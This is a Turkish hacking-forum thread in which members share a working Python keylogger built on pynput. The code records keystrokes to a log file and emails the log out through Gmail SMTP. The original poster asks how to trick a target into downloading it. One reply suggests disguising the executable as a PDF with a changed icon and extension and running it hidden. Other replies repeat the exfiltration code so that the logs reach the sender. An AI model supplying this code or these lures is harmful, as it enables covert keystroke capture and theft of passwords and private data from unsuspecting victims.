Keylogger Yapımı (PYTHON)

1wexter1

Katılımcı Üye
24 Eyl 2021
921
647
Uzayda1yer
Öncelikle Terminale " pip install pynput " yazıyoruz ve indirdikten sonra kod yazmaya başlayabiliriz.




42 Kod İle Python'da Keylogger Yapımı;

Kod:
import pynput
import smtplib


from pynput.keyboard import Key,Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1
    print("{0} basıldı".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt" , "a" , encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("Key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        from email.mime.text import MIMEText
        with open('log.txt') as fp:

            msg = MIMEText(fp.read())


        msg['Subject'] = 'Log Kayıtları -> {}'.format("log.txt")
        msg['From'] = "gonderilecek_mail_adresi"
        msg['To'] = "gonderilecek_mail_adresi"


        s = smtplib.SMTP("smtp.gmail.com",587)
        s.ehlo()
        s.starttls()
        s.login("gonderecek_mail_adresi(@isareti ve sonrası olmayacak)","mailin_sifresi")
        s.send_message(msg)
        s.quit()


with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()


Bu Kodu Çalıştırdığınız Zaman Hangi Tuşlara Basarsanız Terminalde Gözükür. Durdurmak için ise "esc" tuşuna basmanız yeterli olacaktır.

Bu keyloggeri karşı tarafa indirtebileceğim bir senaryo fikri verebilir misiniz?
 

'The Wolf

Kıdemli Üye
22 Nis 2021
4,043
2,565
Tanrı dağı
42 Kod İle Python'da Keylogger Yapımı;

Python:
import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1

    print("{0} pressed".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt","a", encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'","")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        print(exit)
        return False



with Listener(on_press =  on_press, on_release = on_release) as listener:
    listener.join()


Bu Kodu Çalıştırdığınız Zaman Hangi Tuşlara Basarsanız Terminalde Gözükür. Durdurmak için ise "esc" tuşuna basmanız yeterli olacaktır.
Eline sağlık deneyeceğim.
 

Mertoktay5

Üye
5 Ara 2021
227
95
Öncelikle Terminale " pip install pynput " yazıyoruz ve indirdikten sonra kod yazmaya başlayabiliriz.




42 Kod İle Python'da Keylogger Yapımı;

Python:
import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1

    print("{0} pressed".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt","a", encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'","")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        print(exit)
        return False



with Listener(on_press =  on_press, on_release = on_release) as listener:
    listener.join()


Bu Kodu Çalıştırdığınız Zaman Hangi Tuşlara Basarsanız Terminalde Gözükür. Durdurmak için ise "esc" tuşuna basmanız yeterli olacaktır.
Guzel olmus Tesekkurler
 

Crosslightxp

Katılımcı Üye
26 Eyl 2021
590
221
19
Fransa
Öncelikle Terminale " pip install pynput " yazıyoruz ve indirdikten sonra kod yazmaya başlayabiliriz.




42 Kod İle Python'da Keylogger Yapımı;

Python:
import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1

    print("{0} pressed".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt","a", encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'","")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        print(exit)
        return False



with Listener(on_press =  on_press, on_release = on_release) as listener:
    listener.join()


Bu Kodu Çalıştırdığınız Zaman Hangi Tuşlara Basarsanız Terminalde Gözükür. Durdurmak için ise "esc" tuşuna basmanız yeterli olacaktır.
Elinize sağlık güzel bir konu olmuş 🙂
 

`TR0GRES

Uzman üye
1 Mar 2020
1,355
714
Carpe Diem
Elinize Sağlık.

BU KEYLOGGER'I KARŞI TARAFA İNDİRTEBİLECEĞİM BİR SENERYO FİKRİ VEREBİLİR MİSİNİZ?
Exe dosyasını .pdf dosyasıymış gibi gösterip , uzantı değiştirme, ikon değiştirme , arka planda çalıştırma v.b gibi özellikler ekleyip hedefe yedirmeyi deneyebilirsiniz.
+++
bide Bu Hedef Cihazın Antivirüsü Tarafından yakalanır mı?
Evet yakalanır.
 

1wexter1

Katılımcı Üye
24 Eyl 2021
921
647
Uzayda1yer

h4ck3rz

Katılımcı Üye
15 Mar 2021
481
182
merhaba pip install pynput yaptıktan sonra ne yaptın tam olarak ben indirdim de ne yaptığını anlayamadım
 

1wexter1

Katılımcı Üye
24 Eyl 2021
921
647
Uzayda1yer
h4ck3rz' Alıntı:
merhaba pip install pynput yaptıktan sonra ne yaptın tam olarak ben indirdim de ne yaptığını anlayamadım

"pip install pynput" komut olarak çalıştırdıysan olmaz ilk önce onu terminalle yazıp indirmelisin sonrası zaten kopyala-yapıştır yap.
Kodu çalıştır sonuçu görürsün terminalde

Elinize Sağlık.


Exe dosyasını .pdf dosyasıymış gibi gösterip , uzantı değiştirme, ikon değiştirme , arka planda çalıştırma v.b gibi özellikler ekleyip hedefe yedirmeyi deneyebilirsiniz.

Evet yakalanır.
Hocam bir sorum daha var;
Biraz acemi sorusu olucak ama exe dosyasını nasıl pdf miş gibi göstericem hedef kişiye
 

ancients123

Uzman üye
9 Nis 2016
1,723
338
logları göndermeyeceği için karşı tarafa atsak bile boş bir işlem olur doğru anlamış mıyım dostum
loglar için de kodları gösterirsen çok iyi olur
Ellerine Sağlık hoş bir konu
 

1wexter1

Katılımcı Üye
24 Eyl 2021
921
647
Uzayda1yer
logları göndermeyeceği için karşı tarafa atsak bile boş bir işlem olur doğru anlamış mıyım dostum
loglar için de kodları gösterirsen çok iyi olur
Ellerine Sağlık hoş bir konu
Öncellikle Teşekkür ederim
Evet haklısın. karşı tarafa göndersen bile boş işlem olacak
benim merak ettiğim de aslında bu yani bunu karşı tarafa atığım zaman log.txt dosyasında gözüküyor ama bunu nasıl hedefin yaptığı işlemleri göreceğim?
 

ancients123

Uzman üye
9 Nis 2016
1,723
338
Öncellikle Teşekkür ederim
Evet haklısın. karşı tarafa göndersen bile boş işlem olacak
benim merak ettiğim de aslında bu yani bunu karşı tarafa atığım zaman nasıl hedefin bastığı tuşları görebileceğim?
Araştırıyorum bazı sonuçlar var onları keyloggere enjecte etmenin yollarına bakıyorum

Python:
def on_release(key):
    if key == Key.esc:
        from email.mime.text import MIMEText
        with open('log.txt') as fp:

            msg = MIMEText(fp.read())


        msg['Subject'] = 'Log Kayıtları -> {}'.format("log.txt")
        msg['From'] = "gonderilecek_mail_adresi"
        msg['To'] = "gonderilecek_mail_adresi"


        s = smtplib.SMTP("smtp.gmail.com",587)
        s.ehlo()
        s.starttls()
        s.login("gönderecek_mail_adresi(@işareti ve sonrası olmayacak)",mailin_şifresi)
        s.send_message(msg)
        s.quit()

dener misin

Konuyu güncelle istersen tüm keylogger kodlarını aşağıya bırakıyorum :

Kod:
import pynput
import smtplib


from pynput.keyboard import Key,Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1
    print("{0} basıldı".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt" , "a" , encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("Key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        from email.mime.text import MIMEText
        with open('log.txt') as fp:

            msg = MIMEText(fp.read())


        msg['Subject'] = 'Log Kayıtları -> {}'.format("log.txt")
        msg['From'] = "gonderilecek_mail_adresi"
        msg['To'] = "gonderilecek_mail_adresi"


        s = smtplib.SMTP("smtp.gmail.com",587)
        s.ehlo()
        s.starttls()
        s.login("gonderecek_mail_adresi(@isareti ve sonrası olmayacak)","mailin_sifresi")
        s.send_message(msg)
        s.quit()


with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()
 
Moderatör tarafında düzenlendi:

1wexter1

Katılımcı Üye
24 Eyl 2021
921
647
Uzayda1yer
Konuyu güncelle istersen tüm keylogger kodlarını aşağıya bırakıyorum :

Kod:
import pynput
import smtplib


from pynput.keyboard import Key,Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1
    print("{0} basıldı".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt" , "a" , encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("Key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        from email.mime.text import MIMEText
        with open('log.txt') as fp:

            msg = MIMEText(fp.read())


        msg['Subject'] = 'Log Kayıtları -> {}'.format("log.txt")
        msg['From'] = "gonderilecek_mail_adresi"
        msg['To'] = "gonderilecek_mail_adresi"


        s = smtplib.SMTP("smtp.gmail.com",587)
        s.ehlo()
        s.starttls()
        s.login("gonderecek_mail_adresi(@isareti ve sonrası olmayacak)","mailin_sifresi")
        s.send_message(msg)
        s.quit()


with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()

Kodu paste yaptım ama kodlar uyuşmuyordu sürekli hata veriyordu ki sen ben yapana kadar çoktan halletmişsin.

Çok Teşekkür ederim. Ama sorun şu ki konuyu güncelleyemiyorum çok önceden konuyu yazdığım için olmalı moderatörlere bildiririm.

Tekrarda Çok teşekkür ederim.
 

ancients123

Uzman üye
9 Nis 2016
1,723
338
Kodu paste yaptım ama kodlar uyuşmuyordu sürekli hata veriyordu ki sen ben yapana kadar çoktan halletmişsin.

Çok Teşekkür ederim. Ama sorun şu ki konuyu güncelleyemiyorum çok önceden konuyu yazdığım için olmalı moderatörlere bildiririm.

Tekrarda Çok teşekkür ederim.
Sorun değil kodların uyuşmaması normal gibi görünüyor
sana attığım kodları deneyip olup olmadığı konusunda geri dönüş yaparsan iyi olur
 

egemizah

Katılımcı Üye
19 Şub 2021
864
429
Öncelikle Terminale " pip install pynput " yazıyoruz ve indirdikten sonra kod yazmaya başlayabiliriz.




42 Kod İle Python'da Keylogger Yapımı;

Python:
import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1

    print("{0} pressed".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt","a", encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'","")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        print(exit)
        return False



with Listener(on_press =  on_press, on_release = on_release) as listener:
    listener.join()


Bu Kodu Çalıştırdığınız Zaman Hangi Tuşlara Basarsanız Terminalde Gözükür. Durdurmak için ise "esc" tuşuna basmanız yeterli olacaktır.
elinize sağlık
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.